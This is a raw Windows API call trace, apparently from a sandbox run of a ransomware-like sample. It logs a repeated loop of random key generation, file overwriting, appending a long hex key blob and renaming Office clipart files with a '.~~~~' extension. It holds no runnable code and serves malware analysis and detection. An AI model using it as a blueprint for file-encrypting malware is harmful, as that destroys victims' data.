	[0088.886] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0088.886] GetLastError () returned 0x0
	[0088.886] GetLastError () returned 0x0
	[0088.890] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffcc3a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.891] WriteFile (in: hFile=0x118, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x33c6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x33c6, lpOverlapped=0x0) returned 1
	[0088.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0088.891] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.891] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.892] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.892] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.892] CloseHandle (hObject=0x118) returned 1
	[0088.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.892] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.~~~~")) returned 1
	[0088.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0088.893] GetLastError () returned 0x0
	[0088.971] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0088.981] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.981] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0088.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0088.981] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20897102811) returned 1
	[0088.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ed577b0, dwHighDateTime=0x1d60e1e)) 
	[0088.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0088.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0088.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0088.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a1e60
	[0088.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1e60 | out: hHeap=0x300000) returned 1
	[0088.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7428
	[0088.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.981] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0088.982] GetLastError () returned 0x0
	[0088.982] GetLastError () returned 0x0
	[0088.982] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0088.982] GetLastError () returned 0x0
	[0088.982] GetLastError () returned 0x0
	[0088.985] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffde7a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.985] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x2186, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0x2186, lpOverlapped=0x0) returned 1
	[0088.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0088.985] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.985] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.985] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.985] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.985] CloseHandle (hObject=0x11c) returned 1
	[0088.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.986] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.~~~~")) returned 1
	[0088.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0088.986] GetLastError () returned 0x0
	[0088.987] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0088.988] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.988] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0088.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0088.988] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20897801704) returned 1
	[0088.988] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ed577b0, dwHighDateTime=0x1d60e1e)) 
	[0088.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0088.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0088.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0088.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5578
	[0088.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5578 | out: hHeap=0x300000) returned 1
	[0088.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7428
	[0088.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.988] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0088.989] GetLastError () returned 0x0
	[0088.989] GetLastError () returned 0x0
	[0088.989] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0088.989] GetLastError () returned 0x0
	[0088.989] GetLastError () returned 0x0
	[0088.991] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe9cc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.991] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1634, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0x1634, lpOverlapped=0x0) returned 1
	[0088.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0088.991] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.991] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.991] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.991] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.992] CloseHandle (hObject=0x11c) returned 1
	[0088.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.992] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.~~~~")) returned 1
	[0088.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0088.992] GetLastError () returned 0x0
	[0088.993] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0088.993] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.993] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0088.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0088.993] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20898360055) returned 1
	[0088.994] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ed7d910, dwHighDateTime=0x1d60e1e)) 
	[0088.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0088.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0088.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0088.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e55b0
	[0088.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e55b0 | out: hHeap=0x300000) returned 1
	[0088.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8300
	[0088.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.994] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0088.994] GetLastError () returned 0x0
	[0088.994] GetLastError () returned 0x0
	[0088.994] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0088.994] GetLastError () returned 0x0
	[0088.994] GetLastError () returned 0x0
	[0088.997] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffaf9e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.997] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x5062, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0x5062, lpOverlapped=0x0) returned 1
	[0088.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0088.997] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.997] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.997] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.997] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.997] CloseHandle (hObject=0x11c) returned 1
	[0088.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce818
	[0088.997] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.~~~~")) returned 1
	[0088.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce818 | out: hHeap=0x300000) returned 1
	[0088.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0088.998] GetLastError () returned 0x0
	[0088.999] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.000] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.000] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.000] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20898991908) returned 1
	[0089.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ed7d910, dwHighDateTime=0x1d60e1e)) 
	[0089.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e55e8
	[0089.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e55e8 | out: hHeap=0x300000) returned 1
	[0089.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce818
	[0089.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7c78
	[0089.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce818 | out: hHeap=0x300000) returned 1
	[0089.000] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.000] GetLastError () returned 0x0
	[0089.001] GetLastError () returned 0x0
	[0089.001] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.001] GetLastError () returned 0x0
	[0089.001] GetLastError () returned 0x0
	[0089.002] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffd5b0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.002] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x2a50, lpOverlapped=0x0) returned 1
	[0089.003] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.003] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.003] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.003] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.003] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.003] CloseHandle (hObject=0x11c) returned 1
	[0089.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce8c0
	[0089.003] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.~~~~")) returned 1
	[0089.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce8c0 | out: hHeap=0x300000) returned 1
	[0089.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.004] GetLastError () returned 0x0
	[0089.004] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.005] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.005] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.005] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20899523589) returned 1
	[0089.005] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ed7d910, dwHighDateTime=0x1d60e1e)) 
	[0089.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5620
	[0089.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5620 | out: hHeap=0x300000) returned 1
	[0089.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce8c0
	[0089.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a80a0
